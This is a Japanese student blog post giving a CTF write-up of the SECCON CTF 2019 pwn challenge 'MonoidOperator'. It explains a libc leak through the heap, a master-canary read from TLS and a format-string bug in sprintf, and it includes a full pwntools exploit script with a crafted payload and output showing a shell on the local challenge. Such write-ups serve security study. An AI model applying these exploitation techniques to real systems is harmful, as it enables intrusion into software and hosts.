newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 11.2】 MonoidOperator - SECCON CTF 2019

 

 

 

 

 

1: イントロ

いつぞや行われたSECCON CTF 2019

そのpwnの問題の MonoidOperator

TSGという団体がとある大学にあるらしいが、そこの人がつくった問題らしい

モノイドなんて言われたらびびっちゃうよ、もう





2: 表層解析

./monoid_operator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=48bb16f89da19f4341a0e25ce018bf9d2c10afc5, for GNU/Linux 3.2.0, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

他にはlibcとldが配布されている

stripped嫌い!!!

 

実行はこれで

$ LD_PRELOAD="./libc.so.6" ./ld-linux-x86-64.so.2 ./monoid_operator



 

なおこれにもalarm(0xa)があるためradare2でパッチングしておく

 

 

許可されている演算は+,*,^(xor)の3種類のみであり

+,^では初期値0,*では初期値1として計算される





3: libc_baseのleak

入力は演算子->入力数->数字達の入力の順で行われる

このとき入力数によって確保されるmallocサイズが異なる

数字は確保されたmallocに格納されていく

 

この際数字達の途中で不正な値を入力するとfscanf()の仕様により途中で入力を終了させることができる

また、確保された領域は1つの入力ループが終了する度にfreeされる

 

以上より、malloc(十分に大きな値)したあとで確保したバッファを勝手にfreeさせてunsortedにつなぎ

再び同じ領域を確保する際に数字たちの入力の2つ目で不正値を入力すれば、unsorted chunkのbkを読むことができる

(具体的には'+'演算子を選択肢、1つ目の数字を0にすればbkの値がそのまま演算結果になる)

ld/libc配布の問題の解き方がいまいちわかっていないからなのか、pedaのarenaとかheapとかの便利コマンドが使えなかったが

最初のunsortedであるからそれが指すのはmain_arena+96であろう

実際上の方法でアドレスを入手し、それをvmmapと見比べてみる

 

[+]addr: 0x7f917322dca0

    0x7f9173047000     0x7f9173049000 rw-p     2000 0      
    0x7f9173049000     0x7f917306e000 r--p    25000 0      /home/wataru/Documents/CTF/seccon2019/monoid_operator/libc.so.6

    
pwndbg> p/x 0x7f917322dca0-0x7f9173049000
$6 = 0x1e4ca0

 

つまり得たアドレスから0x1e4ca0を引けばlibc_baseのleakが完了したことになる





4: MasterCanary(TLS)のleak

このプログラムは終了時にユーザから名前とフィードバックを求める箇所がある

以下は該当部のGhidraコード

                if (l859_inp_c == 'q') {
                    /* 'q': QUIT */
                    write(0x1,"Before end, please submit feed back!\nWhat is your name?\n",0x38);
                    sVar5 = read(0x0,l828_name_buf_p,0x7);
                    /*      (NULL terminated) */
                    *(undefined *)((long)l828_name_buf_p + (long)(int)sVar5) = 0x0;
                    printf("Hi, %s.\nPlease write your feed back!\n",l828_name_buf_p);
                    sVar5 = read(0x0,l818_feedback_buf,0x3ff);
                    l818_feedback_buf[(long)(int)sVar5] = '\0';
                    /* if feedback contains 'n', exit right now */
                    pcVar6 = strchr(l818_feedback_buf,0x6e);
                    if (pcVar6 != NULL) {
                    /* WARNING: Subroutine does not return */
                        _exit(0x1);
                    }
                    /* **VULN** FSB!!! */
                    sprintf(acStack1048,l818_feedback_buf);
                    if (l10_canary == *(long *)(in_FS_OFFSET + 0x28)) {
                        return 0x0;
                    }

 

このsprintf()でFSAが使える

'n'は入力できないが別に他の指定子でいけばいいから関係ない

 

さて、canaryはMasterCanaryから直接読んでくることにする

詳しくは以下のCODE BLUEのスライドを参照

 

www.slideshare.net

 

 

TLSmmapで取られるため

もともとの領域と必ず隣接し、libc_baseとのoffsetも一定らしい

どうやってローカル環境でoffsetを調べるか迷ったが

pwngdbにはtlsというコマンド(システムコールを発行してユーザ権限では読めないfsの値を読んでくれる)があり

それを使って調べたところ以下のようになった

gdb-peda$ tls
tls : 0x7f12082be5c0
gdb-peda$ p/x 0x7f12082be5c0-0x7f12080d2000
$2 = 0x1ec5c0

 

すなわちlibc_baseとmaster_canaryのoffsetは0x1ec5c0

これで全ての準備が整った





5: FSA

自分は正直FSAのうまいやり方をよく知らない

だからまずは%llxを出力させてスタックのどこが何番目のインデックスかを把握し

入力したアドレスの8byte alignがちゃんと保たれるように、かつ出力側でもしっかり意図したとおりにsprintf()されるように試行錯誤をただただ繰り返した

その際canaryはMasterCanaryのアドレス+1から%.7sで読んで来て上書きした

(下1byteは必ず0x00ゆえmaster addr+0で読むとNULLしか読めない)







6: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *

import sys

FILENAME = "./monoid_operator"

rhp2 = {'host':"localhost",'port':12344}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)


onegadgets = [0xe237f,0xe2383,0xe2386,0x106ef8]
#constraints
#[rcx]==NULL||rcx==NULL  && [rbp-0x70]==NULL
#[rcx]==NULL && [rdx]==NULL
#[rsi]==NULL && [rdx]=NULL
#[rsp+0x70]==NULL

tls_off = 0x1ec5c0
canary_off = 0x28

def hoge(conn,op,num,ints):
  conn.recvuntil("choose?\n")
  conn.sendline(op)
  conn.recvuntil("input?\n")
  conn.sendline(str(num))
  conn.recvline("integers.\n")
  conn.sendline(" ".join(map(str,ints)))
  if(num-len(ints)>0):
    conn.sendline(" 0"*(num-len(ints)))

def exploit(conn):
  #allocate big chunk, free it, and leak main_arena+96 & libc_base
  hoge(conn,"+",(0x500)/8,[0xffffffffffffffff,2])
  hoge(conn,"+",(0x500)/8,[0,'A'])
  conn.recvuntil("The answer is ")
  addr = int(conn.recvline()[:-2])
  libc_base = addr - 0x1e4ca0
  canary_addr = libc_base + tls_off + canary_off
  print("[+]addr: "+hex(addr))
  print("[+]libc_base: "+hex(libc_base))
  print("[+]canary addr: "+hex(canary_addr))
  print("[+]onegadget0: "+hex(libc_base + onegadgets[0]))

  conn.recvuntil("choose?\n")
  conn.sendline("q")
  conn.recvuntil("name?\n")
  raw_input()
  conn.sendline("smallkirby")
  conn.recvuntil("!\n")
  
  #FSA with reading canary from Master Canary(TLS)
  pay = "A"*4
  pay += p64(0xdeadbeefdeadbeef) #%18
  pay += "%8$"+str(0x410-0x8-0x10+1)+"c" #%19 #canaryの手前
  pay += "%24$.7s"+"%28%c" #canary
  pay += "%8$6c" #rbp
  pay += p64(onegadgets[1]+libc_base) #RA #%22
  pay += "A"*7
  pay += p64(canary_addr+1) #%24
  conn.send(pay)

  #GOT A SHELL!



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()







7: 結果

[*] '/home/wataru/Documents/CTF/seccon2019/monoid_operator/monoid_operator'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 12344: Done
[+]addr: 0x7f695c57eca0
[+]libc_base: 0x7f695c39a000
[+]canary addr: 0x7f695c5865e8
[+]onegadget0: 0x7f695c47c37f

[*] Switching to interactive mode
$ ls
a.out
cp_exploit.py
exploit.py
ld-linux-x86-64.so.2
libc.so.6
monoid_operator
monoid_operator.gpr
monoid_operator.lock
monoid_operator.lock~
monoid_operator.rep
peda-session-ld-linux-x86-64.so.2.txt
run.sh
server.sh
$ cat /flag
FLAG={thi5_i5_t35t_f1ag}





f:id:smallkirby:20191106031436p:plain



 

 

 

 

 

 

 

明日試験らしいよ

明々後日NET WARSらしいよ

来週も試験らしいよ

再来週も試験らしいよ

再々来週も試験らしいよ

再々々来週も試験らしいよ

再々々々来週も試験らしいよ

再々々々々来週も試験らしいよ

続く・・・